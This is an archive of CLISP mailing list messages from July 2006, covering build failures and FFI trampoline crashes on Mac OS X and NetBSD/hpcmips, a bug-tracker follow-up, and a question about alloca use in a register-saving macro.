id 1G0s4f-0000dO-Fu for clisp-list@lists.sourceforge.net; Wed, 12 Jul 2006 20:41:14 -0700 Received: (qmail 14578 invoked by uid 60001); 13 Jul 2006 03:41:07 -0000 Message-ID: <20060713034107.14576.qmail@web54613.mail.yahoo.com> Received: from [66.108.57.89] by web54613.mail.yahoo.com via HTTP; Wed, 12 Jul 2006 20:41:07 PDT Date: Wed, 12 Jul 2006 20:41:07 -0700 (PDT) From: Kevin Kim To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] FFI on Mac OS X/Intel X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Jul 2006 03:41:15 -0000 I sent an email last week about the trampoline tests failing when trying to compile clisp 2.38 on a mac book pro with Mac OS 10.4.7. So I started digging a little deeper and found that the test (test1.c) actually passes. But an illegal instruction happens when free_trampoline_r() is called. Line 1204 in trampoline.c is where the error occurs. free(((char**)function)[-1]); I'm at the end of knowledge here. I'm willing to keep working on this if someone can give me some pointers on how to proceed. -kevin __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From werner@suse.de Thu Jul 13 04:53:11 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G0zkl-0005iZ-NF for clisp-list@lists.sourceforge.net; Thu, 13 Jul 2006 04:53:11 -0700 Received: from mx1.suse.de ([195.135.220.2]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G0zkk-0006AT-Ay for clisp-list@lists.sourceforge.net; Thu, 13 Jul 2006 04:53:11 -0700 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id F3018EDDD for ; Thu, 13 Jul 2006 13:53:06 +0200 (CEST) From: Werner Fink Date: Thu, 13 Jul 2006 13:53:03 +0200 To: clisp-list@lists.sourceforge.net Message-ID: <44B6341F.mailIE6118ABK@boole.suse.de> User-Agent: nail 11.4 8/29/04 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 SUBJ_HAS_UNIQ_ID Subject contains a unique ID Subject: [clisp-list] Any news about bug 1506857 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Jul 2006 11:53:11 -0000 Hi, are there any news about bug 1506857 on sourceforge.net http://sourceforge.net/tracker/index.php?func=detail&aid=1506857&group_id=1355&atid=101355 Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From syamajala@gmail.com Thu Jul 13 11:43:48 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G16A8-0000vx-47 for clisp-list@lists.sourceforge.net; Thu, 13 Jul 2006 11:43:48 -0700 Received: from wr-out-0506.google.com ([64.233.184.224]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G16A6-00066f-PT for clisp-list@lists.sourceforge.net; Thu, 13 Jul 2006 11:43:48 -0700 Received: by wr-out-0506.google.com with SMTP id 70so255975wra for ; Thu, 13 Jul 2006 11:43:41 -0700 (PDT) Received: by 10.65.152.2 with SMTP id e2mr447594qbo; Thu, 13 Jul 2006 11:43:41 -0700 (PDT) Received: from ?192.168.0.50? ( [24.147.61.120]) by mx.gmail.com with ESMTP id f17sm1309139qba.2006.07.13.11.43.40; Thu, 13 Jul 2006 11:43:40 -0700 (PDT) Mime-Version: 1.0 (Apple Message framework v752.2) Content-Transfer-Encoding: 7bit Message-Id: <52DFA81E-1840-4FB4-BB71-7D7AF622EDCD@gamebox.net> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: clisp-list@lists.sourceforge.net From: syamajala@gamebox.net Date: Thu, 13 Jul 2006 14:43:34 -0400 X-Mailer: Apple Mail (2.752.2) Sender: seshu yamajala X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] clisp 2.38 on netbsd/hpcmips X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Jul 2006 18:43:48 -0000 Hello, I have a hpcmips system running netbsd 3.0. I am trying to build clisp from pkgsrc and i get the following error: ===> Building for clisp-2.38 cd /usr/pkgsrc/lang/clisp/work/clisp-2.38/src/avcall && /usr/bin/make make: don't know how to make avcall-mipsel.lo. Stop make: stopped in /usr/pkgsrc/lang/clisp/work/clisp-2.38/src/avcall *** Error code 2 Stop. make: stopped in /usr/pkgsrc/lang/clisp *** Error code 1 Stop. make: stopped in /usr/pkgsrc/lang/clisp A copy of the work.log is available at http://genesis.blogdns.net/ work-clisp.log - Seshu Yamajala From sds@podval.org Thu Jul 13 13:10:31 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G17W1-0000Rw-MF for clisp-list@lists.sourceforge.net; Thu, 13 Jul 2006 13:10:30 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G17Vz-0000kK-LE for clisp-list@lists.sourceforge.net; Thu, 13 Jul 2006 13:10:29 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A053183001E; Thu, 13 Jul 2006 15:34:43 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id BBF2E36820B; Thu, 13 Jul 2006 15:34:42 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6DJYgrn005579; Thu, 13 Jul 2006 15:34:42 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6DJYX0Q005576; Thu, 13 Jul 2006 15:34:33 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, syamajala@gamebox.net Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <52DFA81E-1840-4FB4-BB71-7D7AF622EDCD@gamebox.net> (syamajala@gamebox.net's message of "Thu, 13 Jul 2006 14:43:34 -0400") References: <52DFA81E-1840-4FB4-BB71-7D7AF622EDCD@gamebox.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, syamajala@gamebox.net Date: Thu, 13 Jul 2006 15:34:32 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp 2.38 on netbsd/hpcmips (ffi) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Jul 2006 20:10:31 -0000 > * [2006-07-13 14:43:34 -0400]: > > Hello, I have a hpcmips system running netbsd 3.0. I am trying to > build clisp from pkgsrc and i get the following error: > > ===> Building for clisp-2.38 > cd /usr/pkgsrc/lang/clisp/work/clisp-2.38/src/avcall && /usr/bin/make > make: don't know how to make avcall-mipsel.lo. Stop > > make: stopped in /usr/pkgsrc/lang/clisp/work/clisp-2.38/src/avcall > *** Error code 2 > > Stop. > make: stopped in /usr/pkgsrc/lang/clisp > *** Error code 1 > > Stop. > make: stopped in /usr/pkgsrc/lang/clisp > > A copy of the work.log is available at http://genesis.blogdns.net/ > work-clisp.log it appears that FFCALL has not been ported to your platform yet. try to ./configure --without-dynamic-ffi -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://iris.org.il http://pmw.org.il http://honestreporting.com http://jihadwatch.org http://mideasttruth.com http://openvotingconsortium.org If brute force does not work, you are not using enough. From syamajala@gmail.com Thu Jul 13 19:23:54 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G1DLE-0006io-1v for clisp-list@lists.sourceforge.net; Thu, 13 Jul 2006 19:23:50 -0700 Received: from wx-out-0102.google.com ([66.249.82.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G1DLD-0002kx-Oi for clisp-list@lists.sourceforge.net; Thu, 13 Jul 2006 19:23:44 -0700 Received: by wx-out-0102.google.com with SMTP id t12so192070wxc for ; Thu, 13 Jul 2006 19:23:43 -0700 (PDT) Received: by 10.70.20.6 with SMTP id 6mr2287335wxt; Thu, 13 Jul 2006 19:23:41 -0700 (PDT) Received: from ?192.168.0.50? ( [24.147.61.120]) by mx.gmail.com with ESMTP id h36sm1546528wxd.2006.07.13.19.23.40; Thu, 13 Jul 2006 19:23:40 -0700 (PDT) Mime-Version: 1.0 (Apple Message framework v752.2) In-Reply-To: References: <52DFA81E-1840-4FB4-BB71-7D7AF622EDCD@gamebox.net> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <4D310BFD-8860-4945-B8E7-F2E137888029@gamebox.net> Content-Transfer-Encoding: 7bit From: "syamajala@gamebox.net" Date: Thu, 13 Jul 2006 22:23:35 -0400 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.752.2) Sender: seshu yamajala X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] clisp 2.38 on netbsd/hpcmips (ffi) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Jul 2006 02:23:54 -0000 now it seems to say: In file included lisparit.d:8: lispdible.d:8962: warning: volatile register variables don't work as you might wish In file included from lisparit.d:28: arilev1.d:263:29: arimips.c: No such file or directory Stop. make: stopped in /usr/pkgsrc/lang/clisp *** Error code 1 When i commented out the cd work/clisp-2.38/src/avcall && /usr/bin/ make from the Makefile i also got rid of cd work/clisp-2.38/src/ callback && /usr/bin/make could that be causing problems? From syamajala@gmail.com Thu Jul 13 19:39:37 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G1DaV-00081c-3r for clisp-list@lists.sourceforge.net; Thu, 13 Jul 2006 19:39:37 -0700 Received: from wr-out-0506.google.com ([64.233.184.224]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G1DaT-00060Z-QY for clisp-list@lists.sourceforge.net; Thu, 13 Jul 2006 19:39:31 -0700 Received: by wr-out-0506.google.com with SMTP id i28so180966wra for ; Thu, 13 Jul 2006 19:39:28 -0700 (PDT) Received: by 10.65.205.11 with SMTP id h11mr817753qbq; Thu, 13 Jul 2006 19:39:28 -0700 (PDT) Received: from ?192.168.0.50? ( [24.147.61.120]) by mx.gmail.com with ESMTP id e14sm1126025qbe.2006.07.13.19.39.27; Thu, 13 Jul 2006 19:39:28 -0700 (PDT) Mime-Version: 1.0 (Apple Message framework v752.2) In-Reply-To: References: <52DFA81E-1840-4FB4-BB71-7D7AF622EDCD@gamebox.net> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <4D310BFD-8860-4945-B8E7-F2E137888029@gamebox.net> Content-Transfer-Encoding: 7bit From: "syamajala@gamebox.net" Date: Thu, 13 Jul 2006 22:23:35 -0400 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.752.2) Sender: seshu yamajala X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] clisp 2.38 on netbsd/hpcmips (ffi) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Jul 2006 02:39:38 -0000 now it seems to say: In file included lisparit.d:8: lispdible.d:8962: warning: volatile register variables don't work as you might wish In file included from lisparit.d:28: arilev1.d:263:29: arimips.c: No such file or directory Stop. make: stopped in /usr/pkgsrc/lang/clisp *** Error code 1 When i commented out the cd work/clisp-2.38/src/avcall && /usr/bin/ make from the Makefile i also got rid of cd work/clisp-2.38/src/ callback && /usr/bin/make could that be causing problems? From sds@podval.org Fri Jul 14 06:05:09 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G1NLx-0001AH-80 for clisp-list@lists.sourceforge.net; Fri, 14 Jul 2006 06:05:09 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G1NLr-0000rW-Lc for clisp-list@lists.sourceforge.net; Fri, 14 Jul 2006 06:05:06 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A6769300C0; Fri, 14 Jul 2006 09:04:54 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 5595F3680A9; Fri, 14 Jul 2006 09:04:54 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6ED4rrD023773; Fri, 14 Jul 2006 09:04:54 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6ED4nqX023772; Fri, 14 Jul 2006 09:04:49 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "syamajala@gamebox.net" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4D310BFD-8860-4945-B8E7-F2E137888029@gamebox.net> (syamajala@gamebox.net's message of "Thu, 13 Jul 2006 22:23:35 -0400") References: <52DFA81E-1840-4FB4-BB71-7D7AF622EDCD@gamebox.net> <4D310BFD-8860-4945-B8E7-F2E137888029@gamebox.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, "syamajala@gamebox.net" Date: Fri, 14 Jul 2006 09:04:49 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp 2.38 on netbsd/hpcmips (ffi) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Jul 2006 13:05:09 -0000 > * syamajala@gamebox.net [2006-07-13 22:23:35 -0400]: > > now it seems to say: > > In file included lisparit.d:8: > lispdible.d:8962: warning: volatile register variables don't work as > you might wish > In file included from lisparit.d:28: > arilev1.d:263:29: arimips.c: No such file or directory this may be related to https://sourceforge.net/tracker/index.php?func=detail&aid=569025&group_id=1355&atid=101355 -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://openvotingconsortium.org http://palestinefacts.org http://iris.org.il http://honestreporting.com http://ffii.org It's not just a language, it's an adventure. Common Lisp. From sds@podval.org Fri Jul 14 06:23:34 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G1Ndl-0002py-Ul for clisp-list@lists.sourceforge.net; Fri, 14 Jul 2006 06:23:34 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G1Ndj-0005Pk-Dv for clisp-list@lists.sourceforge.net; Fri, 14 Jul 2006 06:23:33 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AAC941800AC; Fri, 14 Jul 2006 09:23:21 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 38CCB3680A9; Fri, 14 Jul 2006 09:23:19 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6EDNJ2V023906; Fri, 14 Jul 2006 09:23:19 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6EDNGEr023905; Fri, 14 Jul 2006 09:23:16 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, Werner Fink Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <44B6341F.mailIE6118ABK@boole.suse.de> (Werner Fink's message of "Thu, 13 Jul 2006 13:53:03 +0200") References: <44B6341F.mailIE6118ABK@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Werner Fink Date: Fri, 14 Jul 2006 09:23:16 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 SUBJ_HAS_UNIQ_ID Subject contains a unique ID Subject: Re: [clisp-list] Any news about bug 1506857 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Jul 2006 13:23:34 -0000 > * Werner Fink [2006-07-13 13:53:03 +0200]: > > are there any news about bug 1506857 on sourceforge.net > http://sourceforge.net/tracker/index.php?func=detail&aid=1506857&group_id=1355&atid=101355 https://sourceforge.net/tracker/?func=detail&atid=301355&aid=1522416&group_id=1355 -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://thereligionofpeace.com http://pmw.org.il http://ffii.org http://camera.org http://mideasttruth.com http://honestreporting.com He who laughs last thinks slowest. From sds@podval.org Fri Jul 14 06:43:20 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G1Nwu-0004bg-Hu for clisp-list@lists.sourceforge.net; Fri, 14 Jul 2006 06:43:20 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G1Nwt-0000Wu-0y for clisp-list@lists.sourceforge.net; Fri, 14 Jul 2006 06:43:20 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AF6D12B00C0; Fri, 14 Jul 2006 09:43:09 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 93D423680A9; Fri, 14 Jul 2006 09:43:09 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6EDh9WT024045; Fri, 14 Jul 2006 09:43:09 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6EDh5GC024044; Fri, 14 Jul 2006 09:43:05 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, syamajala@gamebox.net Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <52DFA81E-1840-4FB4-BB71-7D7AF622EDCD@gamebox.net> (syamajala@gamebox.net's message of "Thu, 13 Jul 2006 14:43:34 -0400") References: <52DFA81E-1840-4FB4-BB71-7D7AF622EDCD@gamebox.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, syamajala@gamebox.net Date: Fri, 14 Jul 2006 09:43:05 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp 2.38 on netbsd/hpcmips X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Jul 2006 13:43:20 -0000 > * [2006-07-13 14:43:34 -0400]: > > Hello, I have a hpcmips system running netbsd 3.0. I am trying to > build clisp from pkgsrc and i get the following error: does this help? http://permalink.gmane.org/gmane.lisp.cl-debian/1493 -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://pmw.org.il http://camera.org http://honestreporting.com http://memri.org http://truepeace.org http://thereligionofpeace.com http://dhimmi.com Never trust a man who can count to 1024 on his fingers. From pjb@informatimago.com Fri Jul 14 08:51:39 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G1Px5-0002DW-K4 for clisp-list@lists.sourceforge.net; Fri, 14 Jul 2006 08:51:39 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G1Px2-0004GF-Io for clisp-list@lists.sourceforge.net; Fri, 14 Jul 2006 08:51:39 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 6D7DC586B0; Fri, 14 Jul 2006 17:51:29 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 1F865586AF; Fri, 14 Jul 2006 17:51:25 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 2DB5C8F9B; Fri, 14 Jul 2006 17:51:25 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit Message-Id: <20060714155125.2DB5C8F9B@thalassa.informatimago.com> Date: Fri, 14 Jul 2006 17:51:25 +0200 (CEST) X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Why alloca? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Jul 2006 15:51:39 -0000 Since the size of struct registers is known at compilation time, why alloca is used in these macros: lispbibl.d:805: #define SAVE_REGISTERS(inner_statement) \ do { \ var struct registers * registers = alloca(sizeof(struct registers)); \ SAVE_STACK_register(registers); \ SAVE_mv_count_register(registers); \ SAVE_value1_register(registers); \ SAVE_back_trace_register(registers); \ inner_statement; \ { var gcv_object_t* top_of_frame = STACK; \ pushSTACK(fake_gcv_object((aint)callback_saved_registers)); \ finish_frame(CALLBACK); \ } \ callback_saved_registers = registers; \ } while(0) instead of just: var struct registers registers; ... SAVE_STACK_register(®isters); ... ? With gcc builtin alloca, it may not do any difference, but with other compilers, avoiding alloca should probably be faster. Is there any other reason to use alloca there? These macros could use one more set of parentheses: #define SAVE_STACK_register(registers) \ registers->STACK_register_contents = STACK_reg ... ==> #define SAVE_STACK_register(registers) \ (registers)->STACK_register_contents = STACK_reg ... I'd expect the compilers to compile (&a)->f as a.f, otherwise we could write: do{ var struct registers registers_data; var register struct registers* register=®ister_data; ... }while(0) -- __Pascal Bourguignon__ http://www.informatimago.com/ THIS IS A 100% MATTER PRODUCT: In the unlikely event that this merchandise should contact antimatter in any form, a catastrophic explosion will result. From lisp-clisp-list@m.gmane.org Fri Jul 14 12:18:19 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G1TB5-0005Ba-5Y for clisp-list@lists.sourceforge.net; Fri, 14 Jul 2006 12:18:19 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G1TB3-00087O-Kq for clisp-list@lists.sourceforge.net; Fri, 14 Jul 2006 12:18:19 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1G1TAz-0005ir-7T for clisp-list@lists.sourceforge.net; Fri, 14 Jul 2006 21:18:13 +0200 Received: from 84.77.156.125 ([84.77.156.125]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 14 Jul 2006 21:18:13 +0200 Received: from Karsten.poeck by 84.77.156.125 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 14 Jul 2006 21:18:13 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Karsten Poeck" Date: Fri, 14 Jul 2006 21:18:07 +0200 Lines: 11 Message-ID: References: X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 84.77.156.125 X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2900.2869 X-RFC2646: Format=Flowed; Original X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 Sender: news X-Spam-Score: 2.7 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 1.2 PRIORITY_NO_NAME Message has priority, but no X-Mailer/User-Agent X-Mailman-Approved-At: Mon, 17 Jul 2006 01:45:29 -0700 